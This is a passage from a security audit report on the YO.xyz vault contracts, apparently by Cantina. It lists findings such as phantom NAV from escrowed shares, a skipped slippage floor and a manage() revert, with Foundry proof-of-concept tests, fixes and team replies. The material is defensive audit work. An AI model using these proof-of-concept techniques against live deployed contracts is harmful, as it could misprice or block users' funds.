    assertEq(asset.balanceOf(address(vault)), 5e18);

    // 3) Bob queues a redemption; illiquid vault -> async path, claim locked at 10.
    vm.prank(bob);
    assertEq(vault.requestRedeem(10e18, bob, bob), 0, "expected async REQUEST_ID");
    (uint256 bobClaim,) = vault.pendingRedeemRequest(bob);
    assertEq(bobClaim, 10e18, "claim locked at request-time price");
    assertEq(vault.totalSupply(), 20e18, "queued shares remain in totalSupply");
    assertEq(vault.balanceOf(address(vault)), 10e18, "escrowed shares held by the
    ↪ vault");

    // 4) 30 assets are donated / earned.
    asset.mint(address(vault), 30e18);

    // 5) Oracle price quadruples.
    MockOracle(ORACLE).setPrice(4e18);

    // Real backing = vault 35 + strategy 15 = 50.
    uint256 realBacking = asset.balanceOf(address(vault)) +
    ↪ asset.balanceOf(strategy);
    assertEq(realBacking, 50e18);

    // totalAssets() = totalSupply * price = 20 * 4 = 80, overstating reality by 30.
    assertEq(vault.totalAssets(), 80e18);
    assertGt(vault.totalAssets(), realBacking);
    assertEq(vault.totalAssets() - realBacking, 30e18, "phantom value from queued
    ↪ shares");

    // The phantom = Bob's queued shares revalued at the new price minus his locked
    ↪ claim.
    assertEq(vault.convertToAssets(10e18), 40e18);
    assertEq(vault.convertToAssets(10e18) - bobClaim, 30e18);

    // 6) Mint uses the oracle price directly, so Charlie is priced fairly (4:1): the
    ↪ harm is the
    // misstated totalAssets/NAV, not Charlie's mint.
    assertEq(_deposit(charlie, 4e18), 1e18, "charlie priced at oracle, independent of
    ↪ totalAssets");
}

contract MockAsset is ERC20 {
    constructor() ERC20("Mock", "MOCK") { }
}

```

```

    function mint(address to, uint256 amount) external { _mint(to, amount); }
}

contract MockOracle {
    uint256 public price;
    function setPrice(uint256 p) external { price = p; }
    function getLatestPrice(address) external view returns (uint256, uint64) { return
        ↪ (price, uint64(block.timestamp)); }
}

```

Recommendation: Exclude escrowed (queued) shares from the live-NAV term and account for them at their locked claim. For example:

```

totalAssets() = (totalSupply() - balanceOf(address(this))) * price / 10**decimals() +
    ↪ totalPendingAssets;

```

which values live shares at the oracle price and queued shares at their locked claims (with the PoC numbers this returns `50`, matching real backing). Alternatively, burn shares at request time rather than escrowing them, so they leave `totalSupply` and the obligation is tracked solely via `totalPendingAssets`. At minimum, document that `totalAssets()` is not real backing and ensure the off-chain price updater excludes queued shares and their locked claims from its computation.

YO.xyz: Acknowledged.

Cantina Managed: While this issue is acknowledged, Yo should be (1) very strict in managing oracle prices (2) not let the redemption queue get too big in comparison to the size of the assets invested in the protocol. This issue can at times cause either overvaluing or undervaluing of the users buying new shares from the protocol. Yo has confirmed that they have ongoing monitoring in place and make sure such scenarios won't happen.

4.2.4 Gateway `redeem` skips `minAssetsOut` on the async path

Severity: Low Risk

Context: [YoGateway.sol#L102-L104](#)

Description: `YoGateway.redeem` enforces `minAssetsOut` only when the redemption is instant ([src/YoGateway.sol#L99-L104](#)). When the vault is illiquid, `requestRedeem` escrows the shares and returns `REQUEST_ID ( 0 )`, so `instant == false` and the guard is skipped. The shares are already pulled and queued, the payout is set by the operator at `fulfillRedeem`, and `minAssetsOut` is neither stored nor emitted, so nothing (on-chain or off-chain) upholds the caller's floor on the async path.

Recommendation: Emit `minAssetsOut` on the async path (extend `YoGatewayRedeem` or add a dedicated event) so off-chain operators can honor it, or enforce it on-chain at `fulfillRedeem` by storing it with the request. Document that `minAssetsOut` is otherwise instant-path only.

YO.xyz: Acknowledged.

Cantina Managed: Acknowledged.

4.2.5 `removeYoVault` calls the vault's `asset()` and can be bricked by a malicious or broken vault

Severity: Low Risk

Context: [YoRegistry.sol#L52-L66](#)

Description: `removeYoVault` calls `IERC4626(vaultAddress).asset()` purely to populate the `YoVaultRemoved` event ([src/YoRegistry.sol#L62-L63](#)). Because that is an external call to the very contract being removed, a vault whose `asset()` reverts (upgraded to revert, self-destructed, or otherwise broken) makes the whole transaction revert, which rolls back the `_vaults.remove` and leaves the vault

permanently un-removable. De-listing should be unconditional and must not depend on any call to the underlying vault.

Recommendation: Drop the `asset()` call from `removeYoVault` : emit `YoVaultRemoved` with only `vaultAddress` , or cache the asset in `addYoVault` and emit the cached value. At minimum, wrap the read in `try/catch` so a reverting vault cannot block removal.

YO.xyz: Acknowledged. The addition of a new vault is behind a globally distributed multisig and a timelock. Only valid yoVaults are being added in the registry.

Cantina Managed: Acknowledged.

4.3 Informational

4.3.1 `redeem()` returns `REQUEST_ID` instead of assets which makes the contracts not ERC-4626 compliant

Severity: Informational

Context: [YoVault.sol#L312-L315](#)

Description: `redeem()` delegates to `requestRedeem` ([src/YoVault.sol#L313-L315](#)). On the async path it returns `REQUEST_ID` (= `0`) and transfers no assets synchronously ([src/YoVault.sol#L211](#)). ERC-4626 requires `redeem` to return the assets sent to `receiver` and to transfer them in the same call, so a `0` return (indistinguishable from "zero redeemed", with no funds moved) can break integrators that expect ERC-4626 semantics.

The Yo team confirmed the vault isn't fully ERC-4626 compliant due to async redemption. The [ERC4626 spec](#), however, anticipates this:

Note that some implementations will require pre-requesting to the Vault before a withdrawal may be performed. Those methods should be performed separately.

Recommendation: Track pending redemptions in a separate (non-standard) request function, and let `redeem` / `withdraw` finalize the request — returning the actual assets and transferring them synchronously, per ERC-4626. Consider ERC-7540 (async vaults) as the canonical standard.

Note that this is only one of several deviations. If full ERC-4626 compliance is the goal, the contracts need to be analyzed further.

YO.xyz: Acknowledged.

Cantina Managed: Acknowledged.

4.3.2 When `authority` equals `address(0)` , `manage()` is bricked

Severity: Informational

Context: [YoVault.sol#L100-L115](#)

Description: Both `manage()` variants pass `requiresAuth` (which short-circuits for the owner) but then **unconditionally** call `authority().canCall(...)` with no zero-address guard ([src/YoVault.sol#L110-L112](#)). `authority` defaults to `address(0)` after `initialize` ([#L90](#)), and `setAuthority` allows setting it back to `address(0)` . A high-level call to the zero address (which has no code) reverts via the compiler's contract-existence check, so `manage()` and its batch overload revert for **all** callers, including the owner, whenever `authority` is zero.

This contradicts the owner short-circuit the rest of the auth layer uses: `isAuthorized` ([src/base/AuthUpgradeable.sol#L53-L57](#)) and `setAuthority` both guard the call with `address(auth) != address(0) && ...` , but `manage()` does not. The owner can recover by calling `setAuthority` with a valid authority

(it has the owner bypass), but until then all strategy management through `manage()` is unavailable, including any emergency recall of funds from adapters.

Proof of Concept:

```
// SPDX-License-Identifier: MIT
pragma solidity 0.8.34;

import { Test } from "forge-std/src/Test.sol";

import { ERC20 } from "@openzeppelin/contracts/token/ERC20/ERC20.sol";
import { IERC20 } from "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import { ERC1967Proxy } from "@openzeppelin/contracts/proxy/ERC1967/ERC1967Proxy.sol";

import { YoVault } from "src/YoVault.sol";

/// Run: forge test --match-path tests/poc/ManageAuthorityZeroPoC.t.sol -vvv
contract ManageAuthorityZeroPoC is Test {
    YoVault internal vault;
    address internal owner = makeAddr("owner");

    function setUp() public {
        MockERC20 asset = new MockERC20();
        YoVault impl = new YoVault();
        bytes memory initData = abi.encodeCall(YoVault.initialize,
        ↪ (IERC20(address(asset)), owner, "yoVault", "yoV"));
        vault = YoVault(payable(address(new ERC1967Proxy(address(impl), initData))));
    }

    function test_manage_revertsForOwner_whenAuthorityZero() public {
        // authority defaults to address(0) after initialize()
        assertEq(address(vault.authority()), address(0));

        // manage() reverts for the owner: it calls IAuthority(address(0)).canCall(...)
        ↪ unconditionally.
        vm.prank(owner);
        vm.expectRevert();
        vault.manage(makeAddr("target"), hex"12345678", 0);
    }
}

contract MockERC20 is ERC20 {
    constructor() ERC20("Mock", "MOCK") { }
}
```

Recommendation: Mirror the owner short-circuit inside `manage()` (and the batch variant):

```
require(
    msg.sender == owner() || (address(authority()) != address(0) &&
    ↪ authority().canCall(msg.sender, target, functionSig)),
    Errors.TargetMethodNotAuthorized(target, functionSig)
);
```

Optionally also reject `address(0)` in `setAuthority` so the vault cannot be left in this state unintentionally.

YO.xyz: Acknowledged. Vaults are meticulously configured and in no scenario the role authority will be set to `address(0)`. Even if that's the case, there's no impact on user functionality (deposit/redeem).

Cantina Managed: Acknowledged.

4.3.3 Re-requesting a redemption resets the previous request's timeline (fxSAVE and IPOR)

Severity: Informational

Context: (No context files were provided by the reviewer)

Description: Both async integrations reset a pending redemption's timeline if a new request is made before the old one is claimed, and the YO adapters do not guard against or surface this.

- **fxSAVE:** `YoFxSaveAdapter.requestRedeem` ([src/adapters/fxsave/YoFxSaveAdapter.sol#L83-L94](#)) routes each call through the vault's CREATE2 redeemer into `FxUSDBasePool.requestRedeem` (AladdinDAO/fx-protocol-contracts), which does `request.amount += shares; request.unlockAt = block.timestamp + redeemCooldownPeriod;`. The amount accumulates but the cooldown is reset on every call, so a small additional request **delays the entire accumulated position's unlock by a fresh cooldown**.
- **IPOR:** `requestShares` is driven via `manage` (`msg.sender` = the YO vault) and is keyed one-slot-per-account in `WithdrawManager` (IPOR-Labs/ipor-fusion); a second call **overwrites** the stored shares (`updateWithdrawRequest(_msgSender(), shares - fee)`) and the claim window is recomputed from the new request. A second request therefore **replaces** the prior tracked shares (it does not add) and resets the window, so any shares from the first request not covered by the second are dropped from the tracked request and must be requested again.

Recommendation: Before issuing a new request, claim or fully account for any existing one. For IPOR, read the existing request (`WithdrawManager.requestInfo`) and avoid overwriting a live request; for fxSAVE, avoid topping up a position that is close to unlock. Surface the existing-request state at the adapter level or document the reset-on-re-request behavior for both integrations in the operations runbook.

YO.xyz: Acknowledged.

Cantina Managed: Acknowledged.